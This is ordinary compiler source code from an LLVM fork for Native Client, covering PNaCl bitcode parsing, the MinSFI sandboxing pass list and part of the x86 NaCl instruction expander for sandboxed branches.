popValue(Record, &OpNum, NextValueNo, &Idx) || OpNum != Record.size())
return Error("Invalid INSERTELEMENT record");
// expect vector type
if (!isa<VectorType>(Vec->getType()))
return Error("Invalid INSERTELEMENT vector type");
// match vector and element types
if (cast<VectorType>(Vec->getType())->getElementType() != Elt->getType())
return Error("Mismatched INSERTELEMENT vector and element type");
// expect i32
if (Idx->getType() != Type::getInt32Ty(Context))
return Error("Invalid INSERTELEMENT index type");
I = InsertElementInst::Create(Vec, Elt, Idx);
break;
}
case naclbitc::FUNC_CODE_INST_CMP2: { // CMP2: [opval, opval, pred]
// FCmp/ICmp returning bool or vector of bool
size_t OpNum = 0;
Value *LHS, *RHS;
if (popValue(Record, &OpNum, NextValueNo, &LHS) ||
popValue(Record, &OpNum, NextValueNo, &RHS) ||
OpNum+1 != Record.size())
return Error("Invalid CMP record");
LHS = ConvertOpToScalar(LHS, CurBBNo);
RHS = ConvertOpToScalar(RHS, CurBBNo);
CmpInst::Predicate Predicate;
if (LHS->getType()->isFPOrFPVectorTy()) {
if (!naclbitc::DecodeFcmpPredicate(Record[OpNum], Predicate))
return Error(
"PNaCl bitcode contains invalid floating comparison predicate");
I = new FCmpInst(Predicate, LHS, RHS);
} else {
if (!naclbitc::DecodeIcmpPredicate(Record[OpNum], Predicate))
return Error(
"PNaCl bitcode contains invalid integer comparison predicate");
I = new ICmpInst(Predicate, LHS, RHS);
}
break;
}
case naclbitc::FUNC_CODE_INST_RET: // RET: [opval<optional>]
{
size_t Size = Record.size();
if (Size == 0) {
I = ReturnInst::Create(Context);
break;
}
size_t OpNum = 0;
Value *Op = NULL;
if (popValue(Record, &OpNum, NextValueNo, &Op))
return Error("Invalid RET record");
if (OpNum != Record.size())
return Error("Invalid RET record");
I = ReturnInst::Create(Context, ConvertOpToScalar(Op, CurBBNo));
break;
}
case naclbitc::FUNC_CODE_INST_BR: { // BR: [bb#, bb#, opval] or [bb#]
if (Record.size() != 1 && Record.size() != 3)
return Error("Invalid BR record");
BasicBlock *TrueDest = getBasicBlock(Record[0]);
if (TrueDest == 0)
return Error("Invalid BR record");
if (Record.size() == 1) {
I = BranchInst::Create(TrueDest);
}
else {
BasicBlock *FalseDest = getBasicBlock(Record[1]);
Value *Cond = getValue(Record, 2, NextValueNo);
if (FalseDest == 0 || Cond == 0)
return Error("Invalid BR record");
if (!Cond->getType()->isIntegerTy(1)) {
std::string Buffer;
raw_string_ostream StrBuf(Buffer);
StrBuf << "Type of branch condition not i1. Found: "
<< *Cond->getType() << "\n";
return Error(StrBuf.str());
}
I = BranchInst::Create(TrueDest, FalseDest, Cond);
}
break;
}
case naclbitc::FUNC_CODE_INST_SWITCH: { // SWITCH: [opty, op0, op1, ...]
if (Record.size() < 4)
return Error("Invalid SWITCH record");
Type *OpTy = getTypeByID(Record[0]);
unsigned ValueBitWidth = cast<IntegerType>(OpTy)->getBitWidth();
if (ValueBitWidth > 64)
return Error("Wide integers are not supported in PNaCl bitcode");
Value *Cond = getValue(Record, 1, NextValueNo);
BasicBlock *Default = getBasicBlock(Record[2]);
if (OpTy == 0 || Cond == 0 || Default == 0)
return Error("Invalid SWITCH record");
Cond = ConvertOpToScalar(Cond, CurBBNo);
// TODO(kschimpf): Deal with values that are too large for NumCases.
size_t NumCases = Record[3];
std::unique_ptr<SwitchInst> SI(
SwitchInst::Create(Cond, Default, NumCases));
size_t CurIdx = 4;
for (size_t i = 0; i != NumCases; ++i) {
// The PNaCl bitcode format has vestigial support for case
// ranges, but we no longer support reading them because
// no-one produced them.
// See https://code.google.com/p/nativeclient/issues/detail?id=3758
if (CurIdx + 3 >= Record.size())
return Error("Incomplete case entry in SWITCH record");
uint64_t NumItems = Record[CurIdx++];
bool isSingleNumber = Record[CurIdx++];
if (NumItems != 1 || !isSingleNumber)
return Error("Case ranges are not supported in PNaCl bitcode");
APInt CaseValue(ValueBitWidth,
NaClDecodeSignRotatedValue(Record[CurIdx++]));
BasicBlock *DestBB = getBasicBlock(Record[CurIdx++]);
if (DestBB == nullptr)
return Error("Invalid branch in SWITCH case");
SI->addCase(ConstantInt::get(Context, CaseValue), DestBB);
}
I = SI.release();
break;
}
case naclbitc::FUNC_CODE_INST_UNREACHABLE: // UNREACHABLE
I = new UnreachableInst(Context);
break;
case naclbitc::FUNC_CODE_INST_PHI: { // PHI: [ty, val0,bb0, ...]
if (Record.size() < 1 || ((Record.size()-1)&1))
return Error("Invalid PHI record");
Type *Ty = getTypeByID(Record[0]);
if (!Ty)
return Error("Invalid PHI record");
PHINode *PN = PHINode::Create(Ty, (Record.size()-1)/2);
for (size_t i = 0, e = Record.size()-1; i != e; i += 2) {
Value *V;
// With relative value IDs, it is possible that operands have
// negative IDs (for forward references). Use a signed VBR
// representation to keep the encoding small.
V = getValueSigned(Record, 1+i, NextValueNo);
NaClBcIndexSize_t BBIndex = Record[2+i];
BasicBlock *BB = getBasicBlock(BBIndex);
if (!V || !BB)
return Error("Invalid PHI record");
if (Ty == IntPtrType) {
// Delay installing scalar casts until all instructions of
// the function are rendered. This guarantees that we insert
// the conversion just before the incoming edge (or use an
// existing conversion if already installed).
V = ConvertOpToScalar(V, BBIndex, /* DeferInsertion = */ true);
}
PN->addIncoming(V, BB);
}
I = PN;
break;
}
case naclbitc::FUNC_CODE_INST_ALLOCA: { // ALLOCA: [op, align]
if (Record.size() != 2)
return Error("Invalid ALLOCA record");
Value *Size;
size_t OpNum = 0;
if (popValue(Record, &OpNum, NextValueNo, &Size))
return Error("Invalid ALLOCA record");
unsigned Alignment;
if (std::error_code EC = getAlignmentValue(Record[1], Alignment))
return EC;
I = new AllocaInst(Type::getInt8Ty(Context), Size, Alignment);
break;
}
case naclbitc::FUNC_CODE_INST_LOAD: {
// LOAD: [op, align, ty]
size_t OpNum = 0;
Value *Op;
if (popValue(Record, &OpNum, NextValueNo, &Op) ||
Record.size() != 3)
return Error("Invalid LOAD record");
// Add pointer cast to op.
Type *T = getTypeByID(Record[2]);
if (T == nullptr)
return Error("Invalid type for load instruction");
Op = ConvertOpToType(Op, T->getPointerTo(), CurBBNo);
if (Op == nullptr)
return Error("Can't convert cast to type");
unsigned Alignment;
if (std::error_code EC = getAlignmentValue(Record[OpNum], Alignment))
return EC;
I = new LoadInst(Op, "", false, Alignment);
break;
}
case naclbitc::FUNC_CODE_INST_STORE: {
// STORE: [ptr, val, align]
size_t OpNum = 0;
Value *Val, *Ptr;
if (popValue(Record, &OpNum, NextValueNo, &Ptr) ||
popValue(Record, &OpNum, NextValueNo, &Val) ||
OpNum+1 != Record.size())
return Error("Invalid STORE record");
Val = ConvertOpToScalar(Val, CurBBNo);
Ptr = ConvertOpToType(Ptr, Val->getType()->getPointerTo(), CurBBNo);
if (Ptr == nullptr)
return Error("Can't convert cast to type");
unsigned Alignment;
if (std::error_code EC = getAlignmentValue(Record[OpNum], Alignment))
return EC;
I = new StoreInst(Val, Ptr, false, Alignment);
break;
}
case naclbitc::FUNC_CODE_INST_CALL:
case naclbitc::FUNC_CODE_INST_CALL_INDIRECT: {
// CALL: [cc, fnid, arg0, arg1...]
// CALL_INDIRECT: [cc, fnid, returnty, args...]
if ((Record.size() < 2) ||
(BitCode == naclbitc::FUNC_CODE_INST_CALL_INDIRECT &&
Record.size() < 3))
return Error("Invalid CALL record");
unsigned CCInfo = Record[0];
size_t OpNum = 1;
Value *Callee;
if (popValue(Record, &OpNum, NextValueNo, &Callee))
return Error("Invalid CALL record");
// Build function type for call.
FunctionType *FTy = 0;
Type *ReturnType = 0;
if (BitCode == naclbitc::FUNC_CODE_INST_CALL_INDIRECT) {
// Callee type has been elided, add back in.
ReturnType = getTypeByID(Record[2]);
++OpNum;
} else {
// Get type signature from callee.
if (PointerType *OpTy = dyn_cast<PointerType>(Callee->getType())) {
FTy = dyn_cast<FunctionType>(OpTy->getElementType());
}
if (FTy == 0)
return Error("Invalid type for CALL record");
}
size_t NumParams = Record.size() - OpNum;
if (FTy && NumParams != FTy->getNumParams())
return Error("Invalid CALL record");
// Process call arguments.
SmallVector<Value*, 6> Args;
for (size_t Index = 0; Index < NumParams; ++Index) {
Value *Arg;
if (popValue(Record, &OpNum, NextValueNo, &Arg)) {
std::string Buffer;
raw_string_ostream StrBuf(Buffer);
StrBuf << "Invalid call argument: Index " << Index;
return Error(StrBuf.str());
}
if (FTy) {
// Add a cast, to a pointer type if necessary, in case this
// is an intrinsic call that takes a pointer argument.
Arg = ConvertOpToType(Arg, FTy->getParamType(Index), CurBBNo);
} else {
Arg = ConvertOpToScalar(Arg, CurBBNo);
}
if (Arg == nullptr) {
std::string Buffer;
raw_string_ostream StrBuf(Buffer);
StrBuf << "Unable to cast call argument to parameter type: " << Index;
return Error(StrBuf.str());
}
Args.push_back(Arg);
}
if (FTy == nullptr) {
// Reconstruct the function type and cast the function pointer
// to it.
SmallVector<Type*, 6> ArgTypes;
for (const auto Arg : Args) {
ArgTypes.push_back(Arg->getType());
}
FTy = FunctionType::get(ReturnType, ArgTypes, false);
Callee = ConvertOpToType(Callee, FTy->getPointerTo(), CurBBNo);
}
// Construct call.
I = CallInst::Create(Callee, Args);
CallingConv::ID CallingConv;
if (!naclbitc::DecodeCallingConv(CCInfo>>1, CallingConv))
return Error("PNaCl bitcode contains invalid calling conventions.");
cast<CallInst>(I)->setCallingConv(CallingConv);
cast<CallInst>(I)->setTailCall(CCInfo & 1);
break;
}
case naclbitc::FUNC_CODE_INST_FORWARDTYPEREF:
// Build corresponding forward reference.
if (Record.size() != 2 ||
ValueList.createValueFwdRef(Record[0], getTypeByID(Record[1])))
return Error("Invalid FORWARDTYPEREF record");
continue;
}
if (std::error_code EC = InstallInstruction(CurBB, I))
return EC;
// If this was a terminator instruction, move to the next block.
if (isa<TerminatorInst>(I)) {
++CurBBNo;
CurBB = getBasicBlock(CurBBNo);
}
// Non-void values get registered in the value table for future use.
if (I && !I->getType()->isVoidTy()) {
Value *NewVal = I;
if (NewVal->getType()->isPointerTy() &&
getFnValueByID(NextValueNo)) {
// Forward-referenced values cannot have pointer type.
NewVal = ConvertOpToScalar(NewVal, CurBBNo);
}
ValueList.AssignValue(NewVal, NextValueNo++);
}
}
OutOfRecordLoop:
// Add PHI conversions to corresponding incoming block, if not
// already in the block. Also clear all conversions after fixing
// PHI conversions.
for (size_t I = 0, NumBBs = FunctionBBs.size(); I < NumBBs; ++I) {
BasicBlockInfo &BBInfo = FunctionBBs[I];
std::vector<CastInst*> &PhiCasts = BBInfo.PhiCasts;
for (std::vector<CastInst*>::iterator Iter = PhiCasts.begin(),
IterEnd = PhiCasts.end(); Iter != IterEnd; ++Iter) {
CastInst *Cast = *Iter;
if (Cast->getParent() == 0) {
BasicBlock *BB = BBInfo.BB;
BB->getInstList().insert(BB->getTerminator(), Cast);
}
}
PhiCasts.clear();
BBInfo.CastMap.clear();
}
// Check the function list for unresolved values.
if (Argument *A = dyn_cast<Argument>(ValueList.back())) {
if (A->getParent() == 0) {
// We found at least one unresolved value. Nuke them all to avoid leaks.
for (size_t i = ModuleValueListSize, e = ValueList.size(); i != e; ++i){
if ((A = dyn_cast<Argument>(ValueList[i])) && A->getParent() == 0) {
A->replaceAllUsesWith(UndefValue::get(A->getType()));
delete A;
}
}
return Error("Never resolved value found in function!");
}
}
if (CurBBNo != FunctionBBs.size()) {
std::string Buffer;
raw_string_ostream StrBuf(Buffer);
StrBuf << "Declared " << FunctionBBs.size() << " basic blocks. Found: "
<< CurBBNo;
return Error(StrBuf.str());
}
// Trim the value list down to the size it was before we parsed this function.
ValueList.shrinkTo(ModuleValueListSize);
FunctionBBs.clear();
DEBUG(dbgs() << "-> ParseFunctionBody\n");
return std::error_code();
}
// Find the function body in the bitcode stream
std::error_code NaClBitcodeReader::FindFunctionInStream(
Function *F,
DenseMap<Function*, uint64_t>::iterator DeferredFunctionInfoIterator) {
while (DeferredFunctionInfoIterator->second == 0) {
if (Stream.AtEndOfStream())
return Error("Could not find Function in stream");
// ParseModule will parse the next body in the stream and set its
// position in the DeferredFunctionInfo map.
if (std::error_code EC = ParseModule(true))
return EC;
}
return std::error_code();
}
//===----------------------------------------------------------------------===//
// GVMaterializer implementation
//===----------------------------------------------------------------------===//
void NaClBitcodeReader::releaseBuffer() { Buffer.release(); }
std::error_code NaClBitcodeReader::materialize(GlobalValue *GV) {
Function *F = dyn_cast<Function>(GV);
// If it's not a function or is already material, ignore the request.
if (!F || !F->isMaterializable())
return std::error_code();
DenseMap<Function*, uint64_t>::iterator DFII = DeferredFunctionInfo.find(F);
assert(DFII != DeferredFunctionInfo.end() && "Deferred function not found!");
// If its position is recorded as 0, its body is somewhere in the stream
// but we haven't seen it yet.
if (DFII->second == 0) {
if (std::error_code EC = FindFunctionInStream(F, DFII)) {
return EC;
}
}
// Move the bit stream to the saved position of the deferred function body.
Stream.JumpToBit(DFII->second);
if (std::error_code EC = ParseFunctionBody(F))
return EC;
F->setIsMaterializable(false);
// Upgrade any old intrinsic calls in the function.
for (UpgradedIntrinsicMap::iterator I = UpgradedIntrinsics.begin(),
E = UpgradedIntrinsics.end(); I != E; ++I) {
if (I->first != I->second) {
for (Value::use_iterator UI = I->first->use_begin(),
UE = I->first->use_end(); UI != UE; ) {
if (CallInst* CI = dyn_cast<CallInst>(*UI++))
UpgradeIntrinsicCall(CI, I->second);
}
}
}
return std::error_code();
}
bool NaClBitcodeReader::isDematerializable(const GlobalValue *GV) const {
const Function *F = dyn_cast<Function>(GV);
if (!F || F->isDeclaration())
return false;
return DeferredFunctionInfo.count(const_cast<Function*>(F));
}
void NaClBitcodeReader::Dematerialize(GlobalValue *GV) {
Function *F = dyn_cast<Function>(GV);
// If this function isn't dematerializable, this is a noop.
if (!F || !isDematerializable(F))
return;
assert(DeferredFunctionInfo.count(F) && "No info to read function later?");
// Just forget the function body, we can remat it later.
F->dropAllReferences();
F->setIsMaterializable(true);
}
std::error_code NaClBitcodeReader::MaterializeModule(Module *M) {
assert(M == TheModule &&
"Can only Materialize the Module this NaClBitcodeReader is attached to.");
// Iterate over the module, deserializing any functions that are still on
// disk.
for (Module::iterator F = TheModule->begin(), E = TheModule->end();
F != E; ++F) {
if (F->isMaterializable()) {
if (std::error_code EC = materialize(F))
return EC;
}
}
// At this point, if there are any function bodies, the current bit is
// pointing to the END_BLOCK record after them. Now make sure the rest
// of the bits in the module have been read.
if (NextUnreadBit)
ParseModule(true);
// Upgrade any intrinsic calls that slipped through (should not happen!) and
// delete the old functions to clean up. We can't do this unless the entire
// module is materialized because there could always be another function body
// with calls to the old function.
for (std::vector<std::pair<Function *, Function *>>::iterator
I = UpgradedIntrinsics.begin(),
E = UpgradedIntrinsics.end();
I != E; ++I) {
if (I->first != I->second) {
for (Value::use_iterator UI = I->first->use_begin(),
UE = I->first->use_end(); UI != UE; ) {
if (CallInst* CI = dyn_cast<CallInst>(*UI++))
UpgradeIntrinsicCall(CI, I->second);
}
if (!I->first->use_empty())
I->first->replaceAllUsesWith(I->second);
I->first->eraseFromParent();
}
}
std::vector<std::pair<Function *, Function *>>().swap(UpgradedIntrinsics);
return std::error_code();
}
std::vector<StructType *> NaClBitcodeReader::getIdentifiedStructTypes() const {
// MERGETODO(dschuff): does this need to contain anything for TypeFinder?
return std::vector<StructType *>();
}
std::error_code NaClBitcodeReader::InitStream() {
if (LazyStreamer)
return InitLazyStream();
return InitStreamFromBuffer();
}
std::error_code NaClBitcodeReader::InitStreamFromBuffer() {
const unsigned char *BufPtr = (const unsigned char*)Buffer->getBufferStart();
const unsigned char *BufEnd = BufPtr+Buffer->getBufferSize();
if (Buffer->getBufferSize() & 3)
return Error("Bitcode stream should be a multiple of 4 bytes in length");
if (Header.Read(BufPtr, BufEnd))
return Error(Header.Unsupported());
if (AcceptHeader())
return Error(Header.Unsupported());
StreamFile.reset(new NaClBitstreamReader(BufPtr, BufEnd, Header));
Stream.init(StreamFile.get());
return std::error_code();
}
std::error_code NaClBitcodeReader::InitLazyStream() {
if (Header.Read(LazyStreamer))
return Error(Header.Unsupported());
if (AcceptHeader())
return Error(Header.Unsupported());
StreamFile.reset(new NaClBitstreamReader(LazyStreamer, Header));
Stream.init(StreamFile.get());
return std::error_code();
}
} // end of anonymous namespace
//===----------------------------------------------------------------------===//
// External interface
//===----------------------------------------------------------------------===//
cl::opt<bool> llvm::PNaClAllowLocalSymbolTables(
"allow-local-symbol-tables",
cl::desc("Allow (function) local symbol tables in PNaCl bitcode files"),
cl::init(false));
const char *llvm::PNaClDataLayout =
"e-i1:8:8-i8:8:8-i16:16:16-i32:32:32-i64:64:64-"
"f32:32:32-f64:64:64-p:32:32:32-v128:32:32";
DiagnosticHandlerFunction
llvm::redirectNaClDiagnosticToStream(raw_ostream &Out) {
return [&](const DiagnosticInfo &DI) {
switch (DI.getSeverity()) {
case DS_Error:
Out << "Error: ";
break;
case DS_Warning:
Out << "Warning: ";
case DS_Remark:
case DS_Note:
break;
}
// Now print diagnostic error message.
DiagnosticPrinterRawOStream Printer(Out);
DI.print(Printer);
Out << "\n";
};
}
/// \brief Get a lazy one-at-time loading module from bitcode.
///
/// This isn't always used in a lazy context. In particular, it's also used by
/// \a NaClParseBitcodeFile(). Compared to the upstream LLVM bitcode reader,
/// NaCl does not support BlockAddresses, so it does not need to materialize
/// forward-referenced functions from block address references.
ErrorOr<Module *> llvm::getNaClLazyBitcodeModule(
std::unique_ptr<MemoryBuffer> &&Buffer, LLVMContext &Context,
DiagnosticHandlerFunction DiagnosticHandler, bool AcceptSupportedOnly) {
Module *M = new Module(Buffer->getBufferIdentifier(), Context);
NaClBitcodeReader *R = new NaClBitcodeReader(
Buffer.get(), Context, DiagnosticHandler, AcceptSupportedOnly);
M->setMaterializer(R);
auto cleanupOnError = [&](std::error_code EC) {
R->releaseBuffer(); // Never take ownership on error.
delete M; // Also deletes R.
return EC;
};
if (std::error_code EC = R->ParseBitcodeInto(M))
return cleanupOnError(EC);
Buffer.release(); // The BitcodeReader owns it now.
return M;
}
Module *llvm::getNaClStreamedBitcodeModule(
const std::string &name, StreamingMemoryObject *Streamer,
LLVMContext &Context, DiagnosticHandlerFunction DiagnosticHandler,
std::string *ErrMsg, bool AcceptSupportedOnly) {
Module *M = new Module(name, Context);
NaClBitcodeReader *R = new NaClBitcodeReader(
Streamer, Context, DiagnosticHandler, AcceptSupportedOnly);
M->setMaterializer(R);
if (std::error_code EC = R->ParseBitcodeInto(M)) {
if (ErrMsg)
*ErrMsg = EC.message();
delete M; // Also deletes R.
return nullptr;
}
return M;
}
ErrorOr<Module *>
llvm::NaClParseBitcodeFile(MemoryBufferRef Buffer, LLVMContext &Context,
DiagnosticHandlerFunction DiagnosticHandler,
bool AcceptSupportedOnly) {
std::unique_ptr<MemoryBuffer> Buf = MemoryBuffer::getMemBuffer(Buffer, false);
ErrorOr<Module *> ModuleOrErr = getNaClLazyBitcodeModule(
std::move(Buf), Context, DiagnosticHandler, AcceptSupportedOnly);
if (!ModuleOrErr)
return ModuleOrErr;
Module *M = ModuleOrErr.get();
// Read in the entire module, and destroy the NaClBitcodeReader.
if (std::error_code EC = M->materializeAllPermanently()) {
delete M;
return EC;
}
// TODO: Restore the use-lists to the in-memory state when the bitcode was
// written. We must defer until the Module has been fully materialized.
return M;
}
<file_sep>/lib/Transforms/MinSFI/MinSFI.cpp
//===-- MinSFI.cpp - Lists MinSFI sandboxing passes -----------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file implements the meta-pass "-minsfi". It lists its constituent
// passes and explains the reasons for their ordering.
//
//===----------------------------------------------------------------------===//
#include "llvm/IR/LegacyPassManager.h"
#include "llvm/Analysis/NaCl.h"
#include "llvm/Transforms/MinSFI.h"
using namespace llvm;
void llvm::MinSFIPasses(PassManagerBase &PM) {
// Nondeterminism is generally undesirable in sandboxed code but more
// importantly, use of undefined values can leak protected data. This pass
// replaces all undefs with predefined constants. It only modifies operands
// of instructions and therefore is not dependent on any other MinSFI or
// PNaCl passes.
PM.add(createSubstituteUndefsPass());
// Most MinSFI passes rely on the safety properties guaranteed by the PNaCl
// bitcode format. We run the PNaCl ABI verifier to make sure these hold.
PNaClABIErrorReporter *ErrorReporter = new PNaClABIErrorReporter();
PM.add(createPNaClABIVerifyModulePass(ErrorReporter, false));
PM.add(createPNaClABIVerifyFunctionsPass(ErrorReporter));
// The naming of NaCl's entry point causes a conflict when linking into
// native executables. This pass renames the entry function to resolve it.
// The pass must be invoked after the PNaCl ABI verifier but otherwise could
// be invoked at any point. To avoid confusion, we rename the function
// immediately after the verifier and have all the subsequent passes refer to
// the new name.
PM.add(createRenameEntryPointPass());
// Sandboxed code cannot access memory allocated on the native stack. This
// pass creates an untrusted stack inside the sandbox's memory region, with
// the stack pointer stored in a global variable. With some modifications,
// the pass could be invoked after SFI, allowing unsandboxed updates of the
// stack pointer, but that would increase the size of the compiler-side TCB.
PM.add(createExpandAllocasPass());
// The data segment of the sandbox lies outside its memory region. This pass
// generates a template, which the MinSFI runtime copies into the sandbox
// during initialization. All globals defined before this pass therefore
// remain addressable by the sandboxed code.
PM.add(createAllocateDataSegmentPass());
// Next, we apply SFI sandboxing to pointer-type operands of all memory
// access instructions. The pass guarantees that the sandboxed code cannot
// read or write beyond the scope of the memory region allocated to it.
// All passes running before this one do not have to be trusted in this
// respect. Passes running later must not break the guarantee.
PM.add(createSandboxMemoryAccessesPass());
// Lastly, we apply CFI sandboxing on indirect calls. The pass creates
// tables of address-taken functions and replaces function pointers with
// indices into the tables. This pass is invoked after SFI because it is
// crucial that the tables cannot be modified by the sandboxed code.
PM.add(createSandboxIndirectCallsPass());
}
<file_sep>/lib/Target/X86/MCTargetDesc/X86MCNaClExpander.cpp
//===- X86MCNaClExpander.cpp ------------------------------------*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file implements the X86MCNaClExpander class, the X86 specific
// subclass of MCNaClExpander.
//
//===----------------------------------------------------------------------===//
#include "X86MCNaClExpander.h"
#include "X86BaseInfo.h"
#include "llvm/MC/MCInst.h"
#include "llvm/MC/MCInstrDesc.h"
#include "llvm/MC/MCInstrInfo.h"
#include "llvm/MC/MCNaClExpander.h"
#include "llvm/MC/MCRegisterInfo.h"
#include "llvm/MC/MCObjectFileInfo.h"
#include "llvm/MC/MCStreamer.h"
#include "llvm/Support/CommandLine.h"
using namespace llvm;
static const int kBundleSize = 32;
extern cl::opt<bool> FlagHideSandboxBase;
unsigned getReg32(unsigned Reg);
unsigned getReg64(unsigned Reg);
static unsigned demoteOpcode(unsigned Reg);
static bool isAbsoluteReg(unsigned Reg) {
Reg = getReg64(Reg); // Normalize to 64 bits
return (Reg == X86::R15 || Reg == X86::RSP || Reg == X86::RBP ||
Reg == X86::RIP);
}
bool X86::X86MCNaClExpander::isValidScratchRegister(unsigned Reg) const {
// TODO(dschuff): Check the register class.
if (isAbsoluteReg(Reg))
return false;
return true;
}
static void PushReturnAddress(const llvm::MCSubtargetInfo &STI,
MCContext &Context, MCStreamer &Out,
MCSymbol *RetTarget) {
const MCExpr *RetTargetExpr = MCSymbolRefExpr::Create(RetTarget, Context);
if (Context.getObjectFileInfo()->getRelocM() == Reloc::PIC_) {
// Calculate return_addr
// The return address should not be calculated into R11 because if the push
// instruction ends up at the start of a bundle, an attacker could arrange
// an indirect jump to it, which would push the full jump target
// (which itself was calculated into r11) onto the stack.
MCInst LEAInst;
LEAInst.setOpcode(X86::LEA64_32r);
LEAInst.addOperand(MCOperand::CreateReg(X86::R10D)); // DestReg
LEAInst.addOperand(MCOperand::CreateReg(X86::RIP)); // BaseReg
LEAInst.addOperand(MCOperand::CreateImm(1)); // Scale
LEAInst.addOperand(MCOperand::CreateReg(0)); // IndexReg
LEAInst.addOperand(MCOperand::CreateExpr(RetTargetExpr)); // Offset
LEAInst.addOperand(MCOperand::CreateReg(0)); // SegmentReg
Out.EmitInstruction(LEAInst, STI);
// push return_addr
MCInst PUSHInst;
PUSHInst.setOpcode(X86::PUSH64r);
PUSHInst.addOperand(MCOperand::CreateReg(X86::R10));
Out.EmitInstruction(PUSHInst, STI);
} else {
// push return_addr
MCInst PUSHInst;
PUSHInst.setOpcode(X86::PUSH64i32);
PUSHInst.addOperand(MCOperand::CreateExpr(RetTargetExpr));
Out.EmitInstruction(PUSHInst, STI);
}
}
void X86::X86MCNaClExpander::emitSandboxBranchReg(unsigned Reg, MCStreamer &Out,
const MCSubtargetInfo &STI) {
MCInst AndInst;
AndInst.setOpcode(X86::AND32ri8);
MCOperand Target32 = MCOperand::CreateReg(getReg32(Reg));
AndInst.addOperand(Target32);
AndInst.addOperand(Target32);
AndInst.addOperand(MCOperand::CreateImm(-kBundleSize));
Out.EmitInstruction(AndInst, STI);
if (Is64Bit) {
MCInst Add;
Add.setOpcode(X86::ADD64rr);
MCOperand Target64 = MCOperand::CreateReg(getReg64(Reg));
Add.addOperand(Target64);
Add.addOperand(Target64);
Add.addOperand(MCOperand::CreateReg(X86::R15));
Out.EmitInstruction(Add, STI);
}
}
void X86::X86MCNaClExpander::emitIndirectJumpReg(unsigned Reg, MCStreamer &Out,
const MCSubtargetInfo &STI) {
Out.EmitBundleLock(false);
emitSandboxBranchReg(Reg, Out, STI);
MCInst Jmp;
Jmp.setOpcode(Is64Bit ? X86::JMP64r : X86::JMP32r);
MCOperand Target =
MCOperand::CreateReg(Is64Bit ? getReg64(Reg) : getReg32(Reg));
Jmp.addOperand(Target);
Out.EmitInstruction(Jmp, STI);
Out.EmitBundleUnlock();
}
void X86::X86MCNaClExpander::emitIndirectCallReg(unsigned Reg, MCStreamer &Out,
const MCSubtargetInfo &STI) {
MCSymbol *RetTarget;
MCContext &Context = Out.getContext();
if (Is64Bit && FlagHideSandboxBase) {
// Generate a label for the return address.
RetTarget = Context.createTempSymbol("IndirectCallRetAddr", true);
PushReturnAddress(STI, Context, Out, RetTarget);
}
Out.EmitBundleLock(!(Is64Bit && FlagHideSandboxBase));
emitSandboxBranchReg(Reg, Out, STI);
MCOperand Target =
MCOperand::CreateReg(Is64Bit ? getReg64(Reg) : getReg32(Reg));
if (Is64Bit && FlagHideSandboxBase) {
MCInst Jmp;
Jmp.setOpcode(X86::JMP64r);
Jmp.addOperand(Target);
Out.EmitInstruction(Jmp, STI);
Out.EmitBundleUnlock();
Out.EmitCodeAlignment(kBundleSize);
Out.EmitLabel(RetTarget);
} else {
MCInst Call;
Call.setOpcode(Is64Bit ? X86::CALL64r : X86::CALL32r);
Call.addOperand(Target);
Out.EmitInstruction(Call, STI);
Out.EmitBundleUnlock();
}
}
void X86::X86MCNaClExpander::expandIndirectBranch(const MCInst &Inst,
MCStreamer &Out,
const MCSubtargetInfo &STI) {
unsigned Target;
if (mayLoad(Inst)) {
// indirect jmp/call through memory
MCInst Mov;
Mov.setOpcode(Is64Bit ? X86::MOV64rm : X86::MOV32rm);
if (Is64Bit && FlagHideSandboxBase) {
Target = X86::R11;
} else {
if (numScratchRegs() == 0)
Error(Inst, "Not enough scratch registers specified");
Target = getScratchReg(0);
}
Mov.addOperand(
MCOperand::CreateReg(Is64Bit ? getReg64(Target) : getReg32(Target)));
Mov.addOperand(Inst.getOperand(0));
Mov.addOperand(Inst.getOperand(1));
Mov.addOperand(Inst.getOperand(2));
Mov.addOperand(Inst.getOperand(3));
Mov.addOperand(Inst.getOperand(4));
doExpandInst(Mov, Out, STI, false);
} else if (Is64Bit && FlagHideSandboxBase) {
Target = X86::R11;
unsigned TargetOrig = getReg64(Inst.getOperand(0).getReg());
if (TargetOrig != X86::R11) {
MCInst Mov;
Mov.setOpcode(X86::MOV64rr);
Mov.addOperand(MCOperand::CreateReg(X86::R11));
Mov.addOperand(MCOperand::CreateReg(TargetOrig));
doExpandInst(Mov, Out, STI, false);
}
} else {
Target = Inst.getOperand(0).getReg();
}
if (isCall(Inst))
emitIndirectCallReg(Target, Out, STI);
else
emitIndirectJumpReg(Target, Out, STI);
}
void X86::X86MCNaClExpander::expandReturn(const MCInst &Inst, MCStreamer &Out,
const MCSubtargetInfo &STI) {
if (numScratchRegs() == 0)
Error(Inst, "No scratch registers specified.");
unsigned ScratchReg = getScratchReg(0);
MCInst Pop;
Pop.setOpcode(Is64Bit ? X86::POP64r : X86::POP32r);
Pop.addOperand(MCOperand::CreateReg(Is64Bit ? getReg64(ScratchReg)
: getReg32(ScratchReg)));
Out.EmitInstruction(Pop, STI);
if (Inst.getNumOperands() > 0) {
assert(Inst.getOpcode() == X86::RETIL || Inst.getOpcode() == X86::RETIQ);
MCOperand StackPointer =
MCOperand::CreateReg(Is64Bit ? X86::RSP : X86::ESP);
MCInst Add;
Add.setOpcode(Is64Bit ? X86::ADD64ri32 : X86::ADD32ri);
Add.addOperand(StackPointer);
Add.addOperand(StackPointer);
Add.addOperand(Inst.getOperand(0));
doExpandInst(Add, Out, STI, false);
}
emitIndirectJumpReg(ScratchReg, Out, STI);
}
// Emits movl Reg32, Reg32
// Used as a helper in various places.
static void clearHighBits(const MCOperand &Reg, MCStreamer &Out,
const MCSubtargetInfo &STI) {
MCInst Mov;
Mov.setOpcode(X86::MOV32rr);
MCOperand Op = MCOperand::CreateReg(getReg32(Reg.getReg()));
Mov.addOperand(Op);
Mov.addOperand(Op);
Out.EmitInstruction(Mov, STI);
}
// Emits the sandboxing operations necessary, and modifies the memory
// operand specified by MemIdx.
// Used as a helper function for emitSandboxMemOps.
void X86::X86MCNaClExpander::emitSandboxMemOp(MCInst &Inst, int MemIdx,
unsigned ScratchReg,
MCStreamer &Out,
const MCSubtargetInfo &STI) {
